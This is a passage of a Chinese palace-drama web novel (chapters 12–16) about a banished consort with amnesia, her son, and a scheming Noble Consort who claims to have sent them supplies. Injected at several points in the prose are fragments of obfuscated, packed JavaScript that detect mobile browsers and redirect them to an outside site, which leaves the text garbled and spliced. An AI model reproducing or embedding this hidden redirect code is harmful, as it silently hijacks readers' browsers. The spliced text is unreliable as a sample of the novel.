贵妃口口声声管我叫姐姐,姐姐过成这样,你的表示就只是一张嘴啊?”晋明鸢说。 这次莫说是贵妃,就连满春都对她这咄咄逼人的话有些招架不住。 她太直白了,没有一点儿转圜的余地。 她这番话出来之后,留给贵妃的就只有两条路,要么捧着她,按照她的要求给她提供衣食用品,将这份关心维持下去,要么就是直接与她撇清关系,承认对她的关心是假。 除此之外,就再也没有别的可能了,她根本就没有给贵妃一点保持中立的机会。 满春看向贵妃,在这种时候,她一个宫女真是不敢再说话了。 贵妃重新挽住了晋明鸢的胳膊:“姐姐莫要着急,我就是为了这件事而来的,我也是今日才知道姐姐一直过得是这种日子,姐姐放心,我今日就给姐姐一个交代,我现在就查是谁拿了姐姐的东西。” “哦,那你先查查这几个人吧。”晋明鸢漫不经心的说。 这明目张胆欺负她儿子的几人还没有处置呢,她可没有心思听贵妃在这里讲些莫名其妙的话。 她这个人很简单,看事就是非黑即白。 贵妃既然口口声声说心疼她,那自然是得拿出点诚意来,她才能相信啊。 晋明鸢完全是一幅理直气壮的模样,全然不管自己的作为在这群人眼里掀起了什么样的轩然大波? 而贺云瑄虽是知道,这个女人失忆后,多少有些不按常理出牌,这会儿也被她那理直气壮的模样引得有些震惊。 贺云瑄拽着她的袖子,示意她弯腰,压低了声音,趴在她耳边轻声说:“清姨姨是那个人最宠爱的人,你得对她客气点。” 第12章 难道陛下要与她重修旧好 天知道贺云瑄今日一直都在为晋明鸢捏着把汗。 他也不知第几次将冲动压了下去,直到此刻才终于按捺不住,出声提醒了一句。 她拉着一个不知是不是他爹的人给他们送饭也好,又或者处置欣贵人和芙蕖柳枝两个宫女也罢,这些总归未必能传到那个人的耳中。 可贵妃就不一定了。 这满宫的人都知道,陛下最在意的就是贵妃,即便是太后,都不会对着贵妃说一句重话的,她现在这么针对贵妃,那个人一定会知道的。 那个人一直都讨厌他们母子,任由这些下人们欺辱他们母子,一旦贵妃在这儿受了委屈,那他们的处境只会更糟。 虽然贺云瑄现在对贵妃的态度也有些心存疑惑,但他无比清楚,不管贵妃是什么心思,只要对方没有撕破脸的意思,她们也绝不能撕破脸。 “小瑄瑄,我只是实话实说而已,哪里不客气了?你这样为贵妃说话,可太伤为娘的心了。” 晋明鸢完全没办法把贺云瑄的担忧感同身受,她更关注的反而是另一件事,就连说话的时候声音都没有刻意的压低,完全足够让贵妃听到。 贵妃先是愣了一下,那张原本僵硬的脸倒是有了几分笑意,赞许的看了贺云瑄一眼。 贵妃身边的满春看向贺云瑄时,眼睛里同样是赞许,看来娘娘这段时间对这个小东西好,也是有好处的,至少他确实更喜欢娘娘。 “我…”感觉到别人的目光都望了过来,贺云瑄的耳朵略微红了红,他绷着一张小脸,连语气里都带了几分僵硬:“你别乱说话,我不是那个意思,我…” 他想解释,但对上贵妃的那双眼睛,抿了抿唇,自知不能当着贵妃的面说这些,干脆就闭了嘴。 晋明鸢脸上闪过几分受伤之色,她不舍得为难贺云瑄,干脆看向了贵妃:“你不是要查这件事吗?那就赶紧查呀,查完了快走,别耽误我跟我儿子相处。” 贵妃那好不容易缓和了几分的脸色又崩了,她的胸脯都有几分起伏,但很快又被她稳住了,她一双杏眼望向了欣贵人:“说说吧,这到底是怎么回事?你为何会在姐姐宫里?” “臣妾…贵妃娘娘,你可得为臣妾做主呀,臣妾也是想为陛下分忧。 今日…今日臣妾偶然遇到了冷宫的宫女,听她们说晋娘娘好像疯了,对这个小野种格外的好,这宫里谁不知道陛下不喜这小野种,臣妾只是想来提醒一句,哪曾想… 哪曾想这一进门,就看到晋娘娘与这小野种山珍海味的吃,这…这冷宫哪有这些吃食? 定是这小野种年纪轻轻不学好跑出去偷盗了,而且他自己也亲口承认了的。 但晋娘娘非要护着他,臣妾便因此与晋娘娘起了冲突,还请贵妃为臣妾做主呀。”欣贵人说。 听了她的说辞,芙蕖很快就反应过来,也连忙道:“事实就是这样的贵妃娘娘,当初是张公公让奴婢们跟着于嬷嬷过来盯着晋娘娘,奴婢们一直不敢忘了陛下的吩咐,今日一见晋娘娘对这小野种又亲又抱的,奴婢便想着去通知陛下。 当时因为陛下不在紫宸殿,奴婢们又遇见了欣贵人,欣贵人人说会替奴婢们做主,所以才… 还请贵妃娘娘明鉴,奴婢们真的只是因为陛下的吩咐,才去请人的,而且这些吃食明显就不是冷宫里的东西,她如今既不听从陛下的命令,还敢放任着这小野种偷盗,还请娘娘一定要给她些教训。” 柳枝也是连连点头:“芙蕖说的对,娘娘,她如今这般实在是不把陛下放在眼里,必须得给她一些教训才行,否则若是陛下追究下来,奴婢们可担待不起啊。 尤其是这小野种,小小年纪竟敢偷盗,以后还不知要做出什么事来呢,依奴婢看就是得杖责一顿,让他长长记性才行。” 这会儿柳枝就好像又找到了主心骨一样,瞬间恢复了她嚣张的气焰,目光也挑衅的看向了晋明鸢。 晋明鸢进冷宫五年,她们就守在这里五年,这冷宫陛下从未踏足过一步,里面的吃食环境她们再清楚不过了,眼下这些东西除了偷来的,就再也没有别的可能。 即便贵妃再与晋明鸢姐妹情深,如今这儿这么多人看着呢,她也不可能包庇的。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482358|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这母子二人既已被幽禁在此,就该本本分分的,如今竟然还敢对她们这么嚣张,简直是活得不耐烦了。 “谁说我儿子偷盗了,贵妃对我与云瑄那么好,她心疼侄子,给侄子送些吃食,怎么到你们这儿就成了偷盗?你们几人这般言语,岂不是污了贵妃的心意?”晋明鸢说。 这些吃食的来历就算不是偷盗,也确实不干不净,晋明鸢自己倒是清楚,就算今日那男人可能是云瑄的生父,她现在一个弃妃的身份,也不能与外男扯上关系。 这饭菜的来历吗,肯定是要遮掩的。 不能让云瑄背上偷盗之名,也不能让贵妃深查下去,那就只能先推出去。 贵妃皱着眉,看向了晋明鸢,而欣贵人和芙蕖柳枝则也是错愕的盯着晋明鸢。 晋明鸢说:“看什么看?贵妃人就在这里,我还能说谎吗?贵妃平日里对我与云瑄那么好,送些吃食有问题吗?还是你们觉得贵妃方才的话就是在说谎,贵妃根本就不会给我与云瑄送东西?” “当然不是,我们当然不敢质疑贵妃,原来这些东西竟然是贵妃送的呀,这都是一场误会。”欣贵人连连否认,她脸色讨好的看向贵妃的方向,就算给她天大的胆子,她也不敢质疑贵妃说谎呀。 欣贵人这话一说,就像是变相的定**这些东西就是贵妃送的,若是贵妃再否认的话,反而又像是再推翻她自己方才说的那些对晋明鸢姐妹情深。 贵妃说:“不明事情真相,你怎么能对姐姐发难呢?欣贵人,你真是太过分了,还有你们两个,本宫之前不是嘱咐你们照顾姐姐吗?你们就是这么照顾的?这些年本宫给姐姐送了多少东西,只是一顿饭而已,何至于让你们这么发难? 话到这里,本宫还正好要问问你们,这些年本宫送来的东西呢,姐姐房里怎会如此清贫?” 贵妃说的质问的话,目光却看向了桌上那些还没有用完的饭菜。 这东西根本不是她送的,可除了她以外,还有谁会盯着晋明鸢,莫非是陛下? 难不成… 陛下要和这女人重修旧好? 第13章 把晋娘娘的狐裘还回来 芙蕖和柳枝听到了贵妃的话,具是面面相觑。 欣贵人也是略微抬眼,在看向贵妃的时候,眼睛里都有几分错愕。 满春冷声道:“都看什么看,芙蕖柳枝,这冷宫一直都是你们看着的,这些年来,娘娘给晋娘娘送过来的东西都去了哪里?可是你们这两个贱婢中饱私囊了?” 芙蕖连连摆手:“冤枉啊满春姐姐,我们哪里有那么大的胆量?这…这…” 她磕磕巴巴的,一时竟然说不出个所以然来。 柳枝也是闷闷不语,一句话也说不出来,两个人不知是有意还是无意,目光竟是朝着欣贵人身上瞥了一眼。 动作细微,却依旧瞒不住盯着她们的满春的眼睛。 满春道:“你们看欣贵人做什么?莫非此事是欣贵人指使的你们?” “这,奴婢…”芙蕖嘴角嗫嚅着,完全说不出一句完整的话,柳枝亦是抖得厉害。 一直没有说话的贵妃在这时候看向了欣贵人,她问:“说说吧,欣贵人,你与这冷宫的下人看似很熟悉啊,本宫这些年送给姐姐的东西可是让你拿了去?” 贵妃一双眼睛红彤彤的,哪怕是质问,声音听起来也柔柔弱弱的,并没有多少威慑力。 晋明鸢安静的听到这儿,终于忍不住挽了袖子:“不是我说,你这贵妃就是这样查事情的呀,就你这样不轻不重的问问,就算我是这个罪魁祸首,我也不认,你到底会不会…” “是臣妾,是臣妾做的,贵妃娘娘,都是臣妾不好,是臣妾鬼迷心窍,觉得她一个冷宫弃妃本也没人在意,也不配用那么多好东西,所以臣妾才买通了芙蕖与柳枝,将娘娘送给晋娘娘的东西都劫走了。” 晋明鸢质疑贵妃的话都没有说完,那欣贵人已是对着贵妃接连不断的磕起头来,那殷切的程度简直让**跌眼镜。 晋明鸢面色僵硬的看着她,那眼睛里的震惊之色怎么也压不住。 就这么认了? 连审问都没用,贵妃只是随口一问,她就这么认了? 另一边贵妃亦是皱着眉,就像是没有想到欣贵人会认的这么快一般,她沉吟片刻,才说:“你…你怎么能做出这样过分的事?姐姐和云瑄在冷宫已经这么可怜了,你怎么敢连姐姐的东西都抢?你你你…你实在太过分了,现在就回你的莲华宫禁足,一个月以内不要出来。” 明明是在惩罚别人,可这贵妃却像是急得要哭出来一样。 那副柔弱至极的模样,实在让人不忍直视,像是下一秒她的眼泪就止也止不住。 晋明鸢看到这一幕,也顾不得去深究那欣贵人为什么承认的那么快了,她怒道:“你就是这样处理事情的?” 这贵妃口口声声说对自己好,可现在呢?得知五年来送给自己的东西全被别人侵占了,她就一句禁足便打发了吗? 就这样不轻不重,甚至根本算不上罚的解决方式能震慑住谁?只怕是这贵妃一走,欣贵人又会来欺负她的小瑄瑄了。 而且不仅仅是欣贵人,她这才刚醒过来,就见到这么多人欺负小瑄瑄,这宫里指不定还有别人呢。 贵妃口口声声说什么照顾她们,现在这样做事,未免太过儿戏。 “我…姐姐,对不起姐姐,是阿吟哪里做错了吗?阿吟…阿吟确实不如姐姐那样的魄力,也不知道该怎样能把公务处理的妥帖,要不姐姐说怎么办吧?”贵妃一脸无措的看过来,又伸手要挽晋明鸢的袖子。 这回晋明鸢直接侧身躲开了她的手,她道:“欠债还钱的理贵妃都不懂吗?这五年来,既是她侵占了你给我的东西,如今真相大白,贵妃难道不应该先把东西要回来吗?” 晋明鸢懒得去想这贵妃对她到底存了什么样的心思,当务之急,最需要上心的还是她与云瑄的吃穿用度。 总让那个男人偷偷摸摸的来送东西,还是有些不靠谱,若是再遇上这般像欣贵人发难的情况也不好解释,还是得把这些日常用品过个明路。 晋明鸢不知道,之前的自己到底怎么忍耐的这等一贫如洗的日子,只是现在的她单是想想要让自己的儿子食不果腹,衣不蔽体她就没法忍受。 “贵妃娘娘,臣妾…”欣贵人的脸上露出了几分慌乱,她的话才开了个头,贵妃身边的满春就瞪圆了眼睛:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482359|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欣贵人这是有什么异议吗?这些年来,你胆大包天,侵占贵妃娘娘给晋娘娘的东西,破坏的是贵妃与晋娘娘之间的情谊,那些东西你难道不该还吗?” 欣贵人瞳仁闪烁,她涂的嫣红的唇动了又动,目光朝着贵妃看了一眼,才说:“该还,臣妾该还,臣妾…臣妾这就去给晋娘娘拿来。” “等等。”眼见着欣贵人起身欲走,贺云瑄忽然开口叫住了她,“之前我听说清姨姨给晋娘娘弄了一件上好的狐裘,想来也是被你拿走了吧,那可是清姨姨对晋娘娘的一片心意,可不能被你糟蹋了,你今日必须把那件狐裘还回来。” “狐裘?”欣贵人脸上有惊讶一闪而过,她直接脱口而出重复一句,贺云瑄连忙点头:“就是狐裘,你该不会不认吧?我可是听人说清姨姨怕晋娘娘冷,专门让人给晋娘娘做的,那可是代表清姨姨对晋娘娘的情谊呢,对不对清姨姨?” 说话间贺云瑄已经看向了贵妃,他一双忽闪忽闪的大眼睛认真的盯着贵妃,瞳孔深处隐约还能看到依赖。 狐裘? 贵妃脸上闪过了几分恍惚,她侧目看向满春,满春亦是有些茫然,过了一会儿才犹豫着对贵妃点了点头。 贵妃笃定道:“云瑄说的是,欣贵人,你实在太过分了,这件事确实是我想的太简单了,不能就这样善了,你先回去整理一下,等会儿我会去莲华宫亲自检查,务必把你拿姐姐的东西一样一样的全还回来。” “是娘娘,臣妾这就去整理。”欣贵人应了一声,连滚带爬的跑了出去。 而贺云瑄那双染了沉吟之色的眸子,却始终盯着贵妃的裙摆。 他口中的狐裘之事,根本就是他瞎编的,可贵妃本人却好像一点都没有察觉到异常一样。 是时间太久了,她不记得她给晋明鸢送过什么东西了,还是… 她其实什么都没送过,那些姐妹情深都是她的谎言? 毕竟… 她好歹是个贵妃,处置欣贵人时确实太草率了,这不像一个手握大权的人能做出来的决定。 还有那欣贵人,认罪未免也太快了,就好像有恃无恐。 第14章 他又维护贵妃 就在贺云瑄心底的想法接连不断的时候。 贵妃的注意力已经重新落在了晋明鸢的身上,她满脸尽是歉意:“真是对不起啊,姐姐,我没想到她们竟然这么大的胆子,竟敢欺上瞒下,才让姐姐过了那么久的苦日子,姐姐放心,现下我既然知道了,就再也不会让姐姐受委屈了,我会替姐姐把那欣贵人侵占的东西拿回来的。” 说话间贵妃的语气已经带了哽咽,就像是对晋明鸢的遭遇心疼到了极致一样。 晋明鸢只是看了这贵妃一眼,并没有发表什么意见,贵妃目光一转,注意力落在了桌上那些饭菜上,她问:“姐姐,眼下就只有我们姐妹,姐姐能不能告诉我这些饭菜是哪里来的?” 她好像是随口一问,但话里却隐约带了些许的探究,并不能瞒过晋明鸢的耳朵。 不知为什么,哪怕所有人都在告诉晋明鸢,这位贵妃是她最好的姐妹,贵妃表现的对她也足够亲密,可晋明鸢总觉得对这个女人喜欢不起来。 尤其是现在,她这番探究的语气,就让晋明鸢心里更觉得古怪几分。 晋明鸢皱着眉,怼人的话几乎要脱口而出,本来站在她身边的贺云瑄却忽然小跑两步,拽住了贵妃的袖口,闷声道:“清姨姨,对不起,都是云瑄不好,是云瑄实在太饿了,这院里只有韭菜,云瑄没办法才趁着芙蕖和柳枝不在偷跑出去的。 都是云瑄不好,清姨姨别怪云瑄好不好?” 他的手扯着贵妃的袖口晃呀晃,话里带着几分可怜兮兮的意味。 贵妃目光落在他那只手上,肤色还算白皙,但那皮肤却实在不像这个年纪的孩童该有的柔嫩,就连指腹上都是密密麻麻的茧子,一看就是做惯了活的。 在贵妃的印象里,这孩子从来都过分的听话,晋明鸢不理他,他也不哭不闹不怨,当时于嬷嬷还在的时候,被人克扣了吃食,吃不饱饭,他就跟着于嬷嬷种菜,小小年纪站在凳子上学做饭,懂事乖顺到让人觉得不可思议。 可今日… “你是说这些东西是你偷来的?”贵妃问。 贺云瑄搅着手指:“对不起清姨姨,都是云瑄的错,云瑄下次一定不这么做了,清姨姨不要生气好不好?” 他没有明确的承认偷盗二字,但那话又像是默认了。 贵妃弯下了腰来,伸手揉了揉贺云瑄的脑袋:“说什么傻话呢?清姨姨怎么会生气,我们云瑄之所以这样做,也只是想填饱肚子而已。 没关系的云瑄,这不是你的错,清姨姨反倒觉得你在饿了的时候懂得变通,懂得照顾自己,这很好。” 贵妃的语调温柔,带着几分循循善诱的意味。 贺云瑄低着头,半垂着眼睑,任由女人抚摸自己的脑袋,模样乖巧到不行,但眼睛深处已经闪过了明显的厌恶。 于嬷嬷从小就教他,做人须得光明磊落,坦坦荡荡,什么该做,什么不该做,他心里有数。 就算他没有与母亲接触过几次,也可以笃定在天底下就没有哪个长辈会觉得孩子偷盗是件好事,非但不罚,还予以鼓励。 这贵妃… 对她的感情… 好像确实不像她表现出来的那么好呢。 贺云瑄失神的空档,晋明鸢已经一把将贺云瑄拉到了身后,她怒视着贵妃道:“你当我是傻子吗?当着我的面教我儿子偷盗?你到底是何居心?” “姐姐,你误会我了,我没有那个意思,我只是想告诉云瑄,他不管做什么,需得先照顾好自己才是最要紧的,姐姐,你平日里总对云瑄不管不问,我只是怕他饿坏了自己,才…” “够了,我跟我儿子的事还用不到你来管,你给我出去,别想带坏我儿子。”晋明鸢直接打断了贵妃的话,她伸手拽着人的袖子,就将人往外推。 贵妃一步三回头的望她:“姐姐,姐姐,你真是冤枉阿吟了,阿吟真的是在为云瑄考虑呀,云瑄,这几年来清姨姨对你是如何的,你心里有数,你快跟姐姐解释解释,清姨姨真的没有恶意呀。” 贺云瑄眸光微动,他伸手拉了拉晋明鸢的手指:“你别这样对清姨姨,她…她也只是关心。” “小瑄瑄,你…”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482360|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “清姨姨,云瑄知道你一直都是为云瑄着想的,你对云瑄的心意,云瑄也记得,只是晋娘娘现在失了忆,忘了你们之前的事了,她行事不妥之处,云瑄替她向你道歉,云瑄保证会好好劝她的,还请清姨姨回去后不要与她计较。” 晋明鸢那不可置信的话才开了个头,就被贺云瑄直接打断了。 贺云瑄小小的身子挡在了晋明鸢面前,他对着贵妃行礼,声音亦是不卑不亢。 贵妃看着贺云瑄那张认真的脸,嘴角露出了个和善的笑:“不会的,我永远不会与姐姐计较的,今日姐姐也受累了,我就不打扰姐姐了,等清点完莲华宫拿了姐姐的东西后,我再让人给姐姐送回来。” 她又冲着晋明鸢的方向点了点头,才带着自己的人出了门。 贵妃一走,冷宫里就空荡了下来,除去晋明鸢母子,二人便只剩下了好似被人遗忘了的芙蕖和柳枝。 这会儿这两人在晋明鸢面前具是战战兢兢的,全然不知该作何反应,那被摔的四分五裂的凳子就在两人面前,没有别人庇佑,这两人竟是不敢再招惹晋明鸢。 倒是晋明鸢转头,先注意到了她们,没好气的道:“你们两个欺上瞒下,吃里扒外的狗东西,还在这里做什么?还不滚出去是想讨打吗?” 晋明鸢这会脾气很差,一腔怒火根本不知往何处发泄,这一切都怪她的宝贝儿子,竟然当着她的面,去护那个说话阴阳怪气的狗屁贵妃。 而且最让她气愤的还是,他竟然管那贵妃叫什么姨姨,还拉着那贵妃的袖子撒娇,到了她这里,就是不冷不热的一句晋娘娘,连声娘都不叫,实在是太过分了! 想到此处,晋明鸢更是忍无可忍,手重重的拍在了桌子上,镇的还没有离去的芙蕖柳枝几乎是手脚并用的往外跑。 这女人现在就是个疯子,她**是真敢打,她们可不想平白挨一顿。 贺云瑄上前两步,抓住了晋明鸢的手,他认真的看着晋明鸢微红的掌心,皱眉急切道:“你拍桌子做什么?” 红的那么严重,应该很疼吧? 第15章 我与那个男人谁重要 “做什么?小瑄瑄,你是在质问我吗?”晋明鸢问。 话说着,她就要把自己的手抽回来,但贺云瑄却抱得更紧了。 小孩两只手将她的手腕紧紧的拢在怀里,脑袋也略微低下来,轻轻的对着她手心吹了吹,闷声道:“你疼不疼,做什么让自己受伤?” 他声音略微有些冷硬,但又掩不住话里的关心,再抬起头来的时候,他那双漆黑的瞳孔里尽是不赞同。 “小瑄瑄,你这是在关心我?”晋明鸢问。 贺云瑄的耳朵略微红了几分,他还是闷闷的点了下头,晋明鸢却猛地将他抱进了怀里:“好啊小瑄瑄,我还以为你一点也不在乎我呢,原来还是会关心的。” “没有不在乎,你…你能不能先松开我?”贺云瑄道。 她太过于一惊一乍,让贺云瑄有些不习惯。 尤其是这般流于表面的热情,更是让他无法招架。 晋明鸢不依不饶:“你害羞什么?我这个做娘的抱抱你不是应该的吗?对了小瑄瑄,你别以为这样就能蒙混过去,老实交代,为什么要维护那个贵妃?” “我没有。”贺云瑄说,“如今我们都在冷宫,任何时候都得仰人鼻息,你今日说话太冲,万一惹恼了贵妃,要怎么招架?” 他推了推晋明鸢,脚步略微后移,在晋明鸢怀里挪了出来一段距离,一张脸也半了起来,一本正经的盯着晋明鸢的脸。 明明面前的人身高只到她腰处,脸也生的稚嫩,但晋明鸢再对上他那双黑沉沉的眼睛时,竟然感觉到了几分压迫力。 她不受控制的吞咽了下口水:“就…就打回去嘛,你没看见刚才我把他们都镇住了,我…” “双拳难敌四手,你能打几个?还有就算你不把贵妃放在眼里,万一把那个人引来了呢?你…” “小瑄瑄,你不要那么严肃嘛,我…”晋明鸢想解释,又觉得有些心虚。 她方才面对贵妃的时候,确实没有想太多,完全是凭着本能来的,甚至… 她又是心虚的看了贺云瑄一眼,连道歉的话都没有说出口,因为她敢肯定,性格使然,若是下次遇到这样的事,她还得这样做。 贺云瑄攥着她的手:“我知道你现在刚醒来,对很多事都不了解,以后如果贵妃再来,你若不知道怎么面对她,就少说话好不好?她…” 她没有表面上那么简单,对他们也未必是真心,偏生她如今又位高权重,这样的人还是不得罪的好。 她既然想要演姐妹情深,现在最好的办法就是顺着她的意,不然一旦激怒了她,难保她不会出手报复。 当然这些话,贺云瑄只敢在心里想想,并没有要告诉晋明鸢的意思。 他这个母亲现在脾气实在是太暴了,行为也不太按常理出牌,贺云瑄觉得,能按住她让她少说话就是眼下最好的解决方式了。 “我…你…”晋明鸢伸手指指自己,又指指贺云瑄,胸口都在起伏不定,她道,“好啊你小瑄瑄,你还是胳膊肘子往外拐,凭什么不让我说话,就让那个贵妃说话? 那贵妃有什么好的,你瞧瞧她那样子,哭哭哭,就知道哭,白有那么多权力,连处置人都不会。 若非那欣贵人直接认罪,她还不知道要在这里闹多久呢,查件事都查不明白,真不知道她这个贵妃怎么做的。 还有,她刚才可是教你偷盗唉,你就听不出她居心叵测吗?你还护她?” 晋明鸢在气头上,语速格外的急促,这次贺云瑄没有打断她,安静的等她说完之后,他才道:“我没有护她,那些只是不得已而为之,你别生气了好不好?” 他的手指又勾住了晋明鸢的袖口,一双眼睛亮亮的,带着几分可怜兮兮的意味。 晋明鸢本来还想继续发泄,再看到他这略带祈求的眼神时,胸腔里的那股郁气一下子就消散了,她声音有些硬邦邦的:“我不是在生你的气,我只是…明明我才是你娘,可你叫她清姨姨,只叫我晋娘娘,我…” “我可以叫你娘吗?”贺云瑄问。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482361|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >相对于晋明鸢的语调别扭,贺云瑄就急切许多,他那捏着晋明鸢袖口的手都收紧了几分。 他…可以吗? 有些东西从没有得到过,渐渐的便也忘了,可一旦得到了,就控制不住的想要奢求更多。 在今日看到晋明鸢的变化之后,有个称呼,好几次都想脱口而出,可是每一次都被他硬生生的忍住了。 她之前既然不许他接近,就是不承认他这么一个儿子的。 在没有得到确切的允许之前,他不敢贸然唤出那个对别的孩子来说最寻常不过的称呼。 他害怕万一惊醒了她,那就连现在的这份温暖也没有了。 在等答案的这片刻时间,贺云瑄觉得自己背后都已经渗了冷汗,他的腿更是控制不住的发软,他害怕… 害怕下一刻她又把他推开。 “这是什么问题?我本来就是你娘,你不叫我娘叫什么?还是你想叫别…” 最后一个字还没有出口,晋明鸢忽然被人抱了满怀。 贺云瑄的身子都是在发抖的,却把她的腰抱得格外的紧:“没有别人,娘亲,没有别人的,我娘亲就只有你自己,我不会叫别人的。” 他梗噎着,声音又闷又哑,肩膀处的颤抖久久不能平静。 晋明鸢先是愣了一下,才反手抱住了他,一张脸上已经尽是心疼。 所以这孩子之所以不叫她娘亲,竟是因为不敢吗? 她之前到底做了些什么?怎么好端端的儿子,怎么被她养的这般小心翼翼? “乖,别哭。”晋明鸢伸手,轻轻擦掉了贺云瑄滚落的泪珠,她略微弯下腰来,保证道,“之前的事我不记得了,但我还得给我们小瑄瑄说句对不起,都是娘做的不好,才让你这样担惊受怕,以后不会了,你是娘最重要的人,娘也只有我们小瑄瑄。” 不知是晋明鸢的哪句话引的贺云瑄抬起了头来,他一双眼睛还水汪汪的,却是固执的询问:“我真的是你最重要的人吗?那…今天那个男人呢?” 第16章 他能保护好娘亲的 在听到贺云瑄的问题后,晋明鸢足足愣了有一会儿,才想到了他口中指的当是那个奸夫。 晋明鸢无所谓道:“他?他算什么东西?能跟我的宝贝儿子比?若非我现在人生地不熟的,实在不知道去哪里给我们小瑄瑄找吃的,我才不屑于理他呢。” 她话说的理直气壮,旁边的贺云瑄眼睛渐渐地深了下来,他问:“所以你是因为我才和他说话的?” “那是当然,不然他一个抛妻弃子的人,他以为他配吗?”晋明鸢翻了个白眼,声音里的不屑完全不加掩饰。 贺云瑄说:“以后不用了,娘亲,不用再求他了,我会做饭,会干活,我能照顾好娘亲的,也能照顾好自己,不用他来养,所以以后他若是再来,娘亲不要再理他了好不好?” 贺云瑄的话句句郑重,晋明鸢一时竟不知道先应哪一句了。 她短暂的沉默,贺云瑄又说:“娘亲,你也看到了,那个人很不靠谱的,他丢下这么点吃食,却给我们带来了那么多麻烦,想来以后接触的多了更是麻烦不断,所以…娘亲不要再理他了好不好?” “是不靠谱。”晋明鸢这会儿是把贺云瑄的话听进去了,她煞有介事的点了点头,“小瑄瑄说的是,这种人以后还是不理他了。” 贺云瑄同样点了点头,在晋明鸢看不到的地方,他嘴角略微扬起了一个不太明显的弧度。 娘亲眼里好不容易才看到他,他不许任何人抢走娘亲的关注。 他可以照顾好娘亲的,他也可以送娘亲礼物的。 马上就要入冬了,想来那件狐裘到了,娘亲这个冬日就不会再冷了。 “那狐裘到底是怎么回事?”去莲华宫的路上,贵妃终于忍不住扭头问她身边的满春,“本宫什么时候给她送过狐裘了?” 满春同样摇头:“娘娘,这…或许是哪个下人多嘴,让那小野种听了去呢?不过现在娘娘既然应了她,难道真要给她们送件狐裘吗? 那等好东西娘娘也只有一件,娘娘自己都舍不得穿,她怎么配?” 后两句话,满春脸上已经闪过了几分狰狞。 娘娘的那件狐裘,还是陛下登基那年,第一次秋猎,陛下用他亲手打的红狐,让尚衣局给娘娘做得狐裘。 娘娘平时珍视的很,日日都会拿出来看看,却从来不舍得穿。 冷宫里的那位,不知检点,生了野种,早就被陛下厌弃,怎么配拿娘娘的狐裘? “满春,慎言。”贵妃说,“那狐裘本就是姐姐的,我如今也不过是物归原主罢了。” 她生的是清丽婉约的模样,素来压不住过分明艳的颜色,那狐裘是陛下亲手递给她的,可她从来都知道,她穿了就是自取其辱。 贵妃的声音一如既往的温柔,满春听话的闭上了嘴,但眼睛里还带着几分愤愤不平的意味。 两人说话间,就已经进了莲华宫,欣贵人惶恐的等在屋里,一看到贵妃,连忙像是有了主心骨一样迎了过来:“贵妃娘娘,眼下我们怎么办,那些东西臣妾早就不记得了,怎么一样样的还给她。” 贵妃没说话,兀自落了座,对满春使了个眼色,满春道:“你还好意思问贵妃?你今日为什么去那冷宫?” “臣妾…臣妾确实是听那芙蕖与柳枝说,冷宫那位变化颇大,才过去一探虚实的,因为知道贵妃事务繁忙,臣妾也是迫切想为贵妃分忧,这才没有禀报。”欣贵人颤巍巍的道。 “胡说八道,贵妃何许你自作主张?今日这事即是因你而起,这窟窿自然是你自己填,瞧瞧你这宫里有什么,随便收敛收敛给她送过去就是。”满春说。 欣贵人连连点头:“臣妾知晓,臣妾不会让贵妃为难的,只是还请贵妃看在臣妾忠心耿耿的份上…” “欣妹妹这是在说什么话?都是自家姐妹,我自是不会重罚欣妹妹的,只是如今彻查冷宫的事,是陛下亲自下的命令,欣妹妹须得避避风头,这段时间欣妹妹就先在莲华宫莫要出门了,等风头过了,本宫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482362|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 